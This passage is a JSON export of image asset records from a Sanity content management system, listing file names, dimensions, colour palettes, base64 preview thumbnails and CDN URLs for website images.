2GCYvg2sUw4c8e+XolrPz+iGT3/K18KARftsibdhlrlzfF+6iMN8lEs0zGJZeShbOyel6+XpNfvbJxS35cl5UOmakxoKcsrDyakFdxedYgQ/vk4W55WCGPKuTpLnm+V17XSLpWphtlKSFrpzfnlCzFN39YrHy/WkaaZaRJHlRJX4ncjsidiNzbKkPb5Xm5jJTLi52SrpK5qHw4JrlDMndQ8ocl32hQuFFi4e4eC4PVMrhf+ndI7xa5FUhfEILPymWiRjIHJL1fstUyH5OFZpmtl5la+dAky22bYH+lhYEqubdL+rZJb+R/cLhCpotJYvK2WLlO3h+TpVaZbwzTLbfJasKgcDViEaWrVLpLpHuL9AT/wP6IPC6TbK3MHZbsAZmqk4UWWW6XxWZZbJXVDvmY8A8WFxQOKC+b4wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#784520","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af6530","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#945704","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc376","foreground":"#000","population":0.86,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.52,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Version 3.png","path":"images/sczeoy4w/production/07f48c26dd3cc0a48dda148053bff25ea8e401cd-1200x628.png","sha1hash":"07f48c26dd3cc0a48dda148053bff25ea8e401cd","size":181380,"uploadId":"XFfnnMEm24oQkaKaAVipTm0blKr0AzX7","url":"https://cdn.sanity.io/images/sczeoy4w/production/07f48c26dd3cc0a48dda148053bff25ea8e401cd-1200x628.png"} {"_createdAt":"2023-06-07T13:17:52Z","_id":"image-082c80259dafd382aaad00cb25eb21fbd56f8845-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyW774I","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:17:52Z","assetId":"082c80259dafd382aaad00cb25eb21fbd56f8845","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MtIrgC9FIUM{t7~qRjM{axWAf5ofkDWBWA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHCP/EACQQAAEDAwMEAwAAAAAAAAAAAAECAwQABREGBxIUFSFBMTKB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwAE/8QAGREAAgMBAAAAAAAAAAAAAAAAAAECERID/9oADAMBAAIRAxEAPwBRtVryBDv0hDEVwRHQDlTn0CR5wKtc7cK0xrZFluMuOmSUoQ2kZPk4zWMNCOK7u2ORwDTrU13n9uaWJboUh08SD8eaKPbLxIFJ6Ndua+sENxTFwX0z6DgtkevRoqS7dNN3bScOZcm0SZS88nXEgqP7RWq0Vn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4559","foreground":"#fff","population":1.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2f0b","foreground":"#fff","population":4.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#708e9b","foreground":"#fff","population":6.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fbbc7","foreground":"#000","population":5.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6f1fc","foreground":"#000","population":1.52,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#708e9b","foreground":"#fff","population":6.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24afbc","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"jobcloud-customer-img.jpg","path":"images/sczeoy4w/production/082c80259dafd382aaad00cb25eb21fbd56f8845-1920x1037.jpg","sha1hash":"082c80259dafd382aaad00cb25eb21fbd56f8845","size":1134118,"uploadId":"KQpRyWdYaEyqdSoAAyQBCQsgit0xgUvZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/082c80259dafd382aaad00cb25eb21fbd56f8845-1920x1037.jpg"} {"_createdAt":"2022-09-07T06:38:53Z","_id":"image-0e96d7f42dfe54238015a75cc02dd58c587aed3a-2000x1333-jpg","_rev":"QRl2cGoCgj0FlAhkRriVPL","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:45Z","assetId":"0e96d7f42dfe54238015a75cc02dd58c587aed3a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VQI;;WkCIot7f+~poyofofNHKQV@RkV@s.9Gr=t7s:oJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003750937734435,"height":1333,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUH/8QAIxAAAgEEAAcBAQAAAAAAAAAAAgMBAAQFEQYSEyEiMVFBQv/EABYBAQEBAAAAAAAAAAAAAAAAAAMBBP/EABsRAAIDAAMAAAAAAAAAAAAAAAECAAMREjJS/9oADAMBAAIRAxEAPwBpnNYRN2cPvGOOD5PGOxF8ipBzuFK4cpc3QsEdyHrt9rleDtRyGQULiKINksGB/gp/acc3jxxt4wIMnMFcF1DjvMa9Vnapgc2ItikbksMzVkxhyjKT096iNb1RWTw9w6u9sJfDyVzMLxEYooylm9jLzTzP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#423425","foreground":"#fff","population":3.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#624128","foreground":"#fff","population":2.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#423425","foreground":"#fff","population":3.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8bfa2","foreground":"#000","population":3.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eac591","foreground":"#000","population":1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a8865c","foreground":"#fff","population":2.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eeb261","foreground":"#000","population":0.74,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"0e96d7f42dfe54238015a75cc02dd58c587aed3a-2000x1333.jpg","path":"images/sczeoy4w/production/0e96d7f42dfe54238015a75cc02dd58c587aed3a-2000x1333.jpg","sha1hash":"0e96d7f42dfe54238015a75cc02dd58c587aed3a","size":2323915,"uploadId":"flR8vCs145EfApb2njXywZvfCF76YrKG","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e96d7f42dfe54238015a75cc02dd58c587aed3a-2000x1333.jpg"} {"_createdAt":"2022-06-30T20:00:16Z","_id":"image-0eaa2296c8d6521302d83e88ecdde01af49d2964-1567x844-jpg","_rev":"QRl2cGoCgj0FlAhkRri52j","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:49Z","assetId":"0eaa2296c8d6521302d83e88ecdde01af49d2964","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMHB*#tS-=o#o#?wR*t7xaV@_NRiRQtRt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYCBAX/xAAkEAACAQQBBAIDAAAAAAAAAAABAwIABAURIQYSE2EiQXGRof/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAGhEAAwEAAwAAAAAAAAAAAAAAAAECEQMSUf/aAAwDAQACEQMRAD8AuZfNF1o2VzdtbDySiAZ8j9UuYfr11lGeOOSltbvsniJ91FNhbKyrCteixx7vkTvn81qZbpzELufLCxVFkoHchvn+1K+R62WiJxL0YsX1U+SmiLC+MWECcGbB4FFJ1jj7azi1VsvxrE99sZHW9D3RTXbANSf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#52382c","foreground":"#fff","population":4.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#995a24","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a6b6c7","foreground":"#000","population":5.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6b6c7","foreground":"#000","population":5.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4ccec","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7b61","foreground":"#fff","population":0.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d3843b","foreground":"#fff","population":0.8,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"0eaa2296c8d6521302d83e88ecdde01af49d2964-1567x844.jpg","path":"images/sczeoy4w/production/0eaa2296c8d6521302d83e88ecdde01af49d2964-1567x844.jpg","sha1hash":"0eaa2296c8d6521302d83e88ecdde01af49d2964","size":1120472,"uploadId":"vMr5BWoKPffhl4ym4AKVizU9zqMWJ6Z7","url":"https://cdn.sanity.io/images/sczeoy4w/production/0eaa2296c8d6521302d83e88ecdde01af49d2964-1567x844.jpg"} {"_createdAt":"2023-12-11T10:03:33Z","_id":"image-083f9fe56b16afab381a88e413e36a4977402a82-4032x3024-jpg","_rev":"Do3156plRwIXmiihNt8By7","_type":"sanity.imageAsset","_updatedAt":"2023-12-13T10:33:56Z","altText":"Yen Pham and her family in Switzerland","assetId":"083f9fe56b16afab381a88e413e36a4977402a82","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":3024,"width":4032},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYBBAUH/8QAJBAAAQMEAgAHAAAAAAAAAAAAAQIDBAAFBhESIQcTIjEyYaH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAgME/8QAIBEAAQQCAQUAAAAAAAAAAAAAAQACAxESITFScaHR4f/aAAwDAQACEQMRAD8AzstZXjqVcZRTDe9KluD3NMnhter08yphycl6ISEBB70Po1UzW1rvVkeZnkKRrkkJ60RSZhsudDsCJ1ucS28JBaIWNggDuklZKYpBCacBq+L9LPHjiHndrr9zuzLM1xsqgnidfI/tFTFwaFcY7cuU8rznUhauI62aKGslAFkX2+qoe3p8r//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#315a4e","foreground":"#fff","population":4.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13adac","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bec3c1","foreground":"#000","population":6.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bec3c1","foreground":"#000","population":6.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e888ac","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7bb5b3","foreground":"#000","population":6.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bede0e","foreground":"#000","population":5.22,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"yen-pham-and-family.jpg","path":"images/sczeoy4w/production/083f9fe56b16afab381a88e413e36a4977402a82-4032x3024.jpg","sha1hash":"083f9fe56b16afab381a88e413e36a4977402a82","size":3381196,"title":null,"uploadId":"I9ZwGyQlY2B4ESyp0ruX9MzkHK57Jt96","url":"https://cdn.sanity.io/images/sczeoy4w/production/083f9fe56b16afab381a88e413e36a4977402a82-4032x3024.jpg"} {"_createdAt":"2022-06-14T14:41:09Z","_id":"image-0edac8351ddb1e08fd73471f64df2ee98d7ad243-512x512-png","_rev":"oamrAPLmQLQjd9jh7YpzLS","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:09Z","assetId":"0edac8351ddb1e08fd73471f64df2ee98d7ad243","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eZHetDxbyBt7RPx[tRjFa{b0_4t7oNWWWBxut7M{WBV@-;ofa$aeof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEs0lEQVQ4jRXL+1dSBwAA4PuXbMda2WstV53KTqesBEWUp4IK4pRUjJfAvXAvcOEKXF6X5wURkIc8VKSRZqUOJV3Zsqyts+ayzUetuTq1/2Fn3+8fsP5s9d1f2+/3d19tbuy9/ePT5w8fPr7f3d1aW6uUl+6MJT3pvG/10b3llVL5QbE0N5bOuwIjsNunzhd8wPqz1Z29N3/ubK5vVH7ferH/z97f+zvb268erZUXf7gTS7ijKbz8oFRZmVmsFL6/E89MeUJRvcevyk0SwNr60m+vN56+KJfmYksrhZe/Lj//ZXHtyd3ZuclcPusj3eSoc2Zu4u5CdvZ+dHp2ZKo0Mjpm9viVmQkcmJ3PlFfzt+Z8npA8Nq6bnSfy085QBMedNhTDQZ0RMZp9AU80aUnkoNQUNlkiw3EDTvTF0hAQHbdmi9ZYRmuwdeI+UTiu0OrFbTwujUanUmlUShODye8VD8AmiSMoCsRvjuXMblJqtgvI+CAwmsaSE1gkpQNNbUqEIZEzr9RdqD5UXV1VdfLQgZOHD544eqy29lJnF1tv5TtIkS8qGSYEqJ3vjfQB0TSWyKGRlFaOsFmdFy9c/PqrA18eqfri7NGDV2uOXjl15NThqhPVh+rraxU6li3Q4QgLTe5Ws4vvidwAXD5pMCYnx2Q3dc0U1rc1Z6prjn115fRx2vlvuJdPsy7VXD9z/OqZE/T6cwNymtHFxfytBicL87R5R3sAg4Vv9QgcQdEASGV1neO01XbQL3VSavl1Z0X157vqz7dfOyflUqHvmJCiBULpsL0FxhkmguuJdQMwxjHgrZiLP6ChtPddVMgbbXIe2s1SsK6pONfVXCrEo4VUPRlM6tK3a/Q0yNasdzCNbq4zIgQMw1wTznMQQo2B0Su/qoOZPqPIMchXcakydr2C06Dl08Pq3pxL4bQJNFgz4mQY3CzEyTYSrYDewtRbWVZXu87EGtRQtSYmZuTBYqaUTZGyqTJOo6KVZrzBdZqFqJMH2lp0DobOzlBbmhVoE6AxNckQihxpGASpErABHObAKA+ScEABA+po0QnYSDdX28/WImwIZ6ptdI2Nrh6mK800GdoA6K3s/6e2UQaxhuB2I97v8oAWWKLqYg9yG2VtdKiba1aLLHiv3tEJ2lhqa7PSRBvCaKCrGcBdQrNdgFp6VWDPQL8QhlUjAXdwWKsScTqb6jpodUohO2iUB106zCqF0C7I3K4yMKV6qtxCBSx2gT8odxPIQL9Y0NGpVmmcmCmEDjkVXTI+rZ9DscuEWRsUwBBEq1arpahZieJiqb5BDF8GlPomt/9mMuX3EASGWVHUbEZ0PkROgj2WvlZjDysMiifdxpiX8BKBEBlJpePhpEljZ/SjlwGZgTGSQpcqt5eXF4u3iiORUb/X68dgr7oHl/CsfW0k1JckrInReDZbWFgoP/7p4XxlgkgohnA6kCkEn2wsb24+f/hjefZ2oTCZzWVSY6Q3akPCBimpG4zjhmQ4lEyki9O3Ksvln1+sv37z8uHTe+NFN7C7t/Xp0/7uztZKZX4qnxhPkOOJUDYZmUxGinF/nnTn47HCxNR0oTBTKizcn3nyePXd293P/3589377P1SWWWlH74KdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#566337","foreground":"#fff","population":7.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e5c24","foreground":"#fff","population":0.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#566337","foreground":"#fff","population":7.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca4a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cab08f","foreground":"#000","population":1.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b9962","foreground":"#fff","population":6.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4584c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aaron-kahn.png","path":"images/sczeoy4w/production/0edac8351ddb1e08fd73471f64df2ee98d7ad243-512x512.png","sha1hash":"0edac8351ddb1e08fd73471f64df2ee98d7ad243","size":176569,"uploadId":"go6SRnYlFHlN5cKvfBcAKKfLWCgmvBfr","url":"https://cdn.sanity.io/images/sczeoy4w/production/0edac8351ddb1e08fd73471f64df2ee98d7ad243-512x512.png"} {"_createdAt":"2022-06-30T19:57:59Z","_id":"image-085b8b184106e6ec694523efd4eba92188c800d8-698x253-png","_rev":"CK1sLU2mnwa3vmbYWEblQF","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:21Z","assetId":"085b8b184106e6ec694523efd4eba92188c800d8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D07wyf_300M{4@8wDi%LjdkD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.758893280632411,"height":253,"width":698},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABIUlEQVQYlT2Mi46DIBBF/ZQC4gvqExgQH5jaYle37v9/zUbNbnJyc+ZmZoKQkChElCAanlAcRSSOcJbQnLM7Y3FECUYI3TC6UYKO5ROMUcDTSNdJr9Ie2KD50OauKyebuzbvdWFVYQSHOpVFouu0Bz7o+2DurWR3FgVlns1D9XnJ3auDBX4WvS/w8bA9YZ1hneU2y6+H2Gb57eHi5Zq6yoKqZE8n9rf+eev95JAFLv9vLo7xeK39JOoyDcqCPcZm9bAtsHlYvdr8n5zNdsnllywwT81xnGWxhsKN8mBozhTjIJyT0yjc0ExOulF0bWl0bk3RmsLoXEnOeRxggsuqsNYACFBNZ41SUkhhu1ZrCbLurJFSJElMCKaUhCEhBJ1JfgFhqFp+9ZErmAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4333","foreground":"#fff","population":22.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c1c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c4333","foreground":"#fff","population":22.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#913507","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8a881","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#958876","foreground":"#fff","population":2.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2590c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"085b8b184106e6ec694523efd4eba92188c800d8-698x253.png","path":"images/sczeoy4w/production/085b8b184106e6ec694523efd4eba92188c800d8-698x253.png","sha1hash":"085b8b184106e6ec694523efd4eba92188c800d8","size":11005,"uploadId":"5NCJMRNE8IAnULj7qx2LeaBRqtBDvmNj","url":"https://cdn.sanity.io/images/sczeoy4w/production/085b8b184106e6ec694523efd4eba92188c800d8-698x253.png"} {"_createdAt":"2022-09-19T17:34:42Z","_id":"image-08a220eadb3fdddfebee20bbf2395238ec969540-690x413-png","_rev":"OFlS64pMvIisdGKtV7rPD7","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:42Z","assetId":"08a220eadb3fdddfebee20bbf2395238ec969540","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABQUlEQVQoka2Sy0oDQRBFZxJMjA9wodQlW0Vvm+gmiIsQH+BCEIRboK40+Pr/X5Cenp6MMeAmDYepqqk+M3R1Uax7gfpN8AarqXJ6qy/nXliLalklUWERJvLGdrwQLb0L+QeSoxGmr/0nXPXOU94SlqB6oHZAbYHaBj3GfUv1TVCDmNd9Md4DfR/0XdD7COpZUDcLY+MRqEtQE6MuQL8FNbVUuwJ1A2oG+hTUNagHUA7qHvQZgiYIGhrVjcIBQpToGdSjUXegv4A+N+oV1BuoOah30D8T+gL1XT8/QD2BGhu1Ec+vgyAgaAzqGNQQ9EOjj4w6MyqAIqgR6Oegx75cO40iUCegH4DeyUMpEdSt5OkKlEbvGBUpM3FDpD73RMixR4pmOtWkm2m3WZ5oqi/ubevqRGEjqlkl+ytcdZVq4brXD2yifrShiwTTAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242949","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04173c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242949","foreground":"#fff","population":0.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#09368f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82aaf6","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#09368f","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f5bef","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"humanitec-690x413.png","path":"images/sczeoy4w/production/08a220eadb3fdddfebee20bbf2395238ec969540-690x413.png","sha1hash":"08a220eadb3fdddfebee20bbf2395238ec969540","size":7791,"uploadId":"nLMfblJqelqm9FNgV7WQGgUy6BdcqrEW","url":"https://cdn.sanity.io/images/sczeoy4w/production/08a220eadb3fdddfebee20bbf2395238ec969540-690x413.png"} {"_createdAt":"2023-05-16T13:46:33Z","_id":"image-08b4453f04968cc038abc9448e052de3bc81300d-800x800-jpg","_rev":"THDGXgbtbTWNUZ8wxnbXmR","_type":"sanity.imageAsset","_updatedAt":"2023-05-16T13:46:33Z","assetId":"08b4453f04968cc038abc9448e052de3bc81300d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAMFBgcI/8QAIxAAAQQCAQQDAQAAAAAAAAAAAQACAwQFBhEHEhMxIkFhof/EABUBAQEAAAAAAAAAAAAAAAAAAAQD/8QAHBEAAwACAwEAAAAAAAAAAAAAAAECAxETISIy/9oADAMBAAIRAxEAPwDr3WLZJ6bcdr+MlMV7KP7C9p+TI/sj9WPw7T082XEOrWbTsbff4LLJ39wDz6I/eVB14p2Ztz13MYTyyywSiGXsbyGjlUPUqrncltOuVK1aaSiJ2zyljTwCD9lGunyyk+heOJ4qbXZ6gaQQCPRRQUntfViLXcjtA/iJIQwuucT0iZQHEOPsK7cA2Eua0Age+ERTj4RXI/bKitkbMPkYx/xDyiIjQ3pC7S2f/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#563d36","foreground":"#fff","population":1.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#150404","foreground":"#fff","population":0.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b18168","foreground":"#fff","population":3.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8afa1","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc8aa","foreground":"#000","population":0.8,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b18168","foreground":"#fff","population":3.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8a482","foreground":"#000","population":1.44,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"amy-krishnamohan.jpg","path":"images/sczeoy4w/production/08b4453f04968cc038abc9448e052de3bc81300d-800x800.jpg","sha1hash":"08b4453f04968cc038abc9448e052de3bc81300d","size":58684,"uploadId":"YofYk8V7B4ipiRdB6E5vH5ZWGVyDoJ07","url":"https://cdn.sanity.io/images/sczeoy4w/production/08b4453f04968cc038abc9448e052de3bc81300d-800x800.jpg"} {"_createdAt":"2024-01-10T11:08:57Z","_id":"image-08cb186ca143ef4951e73c4eee1a7676ca0f8018-1327x260-png","_rev":"sEx8dZoeB26hd431UgQA86","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:08:57Z","assetId":"08cb186ca143ef4951e73c4eee1a7676ca0f8018","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.1038461538461535,"height":260,"width":1327},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAlUlEQVQImX3IOw7CMBAAUd//WByBggoJxSHgxLHX+4+hQYlEQ4H0itGEeE/DOE7DOd1OJV2QiW37D9VRnNTDlMowzTHGMV4fz2kuLYOs7bCH/sggS+VUcKkcVqBcMZe21rZWLI0rCpAAKaA2MmT/MiCtKAW4AELjIGpivlNnMVbbj5qaq7ltfevvftj6S8xJjFmVxEQ/z+HhyJt7SXsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#727373","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c2434","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#727373","foreground":"#fff","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4d4d8","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8e484","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7c4a","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePalet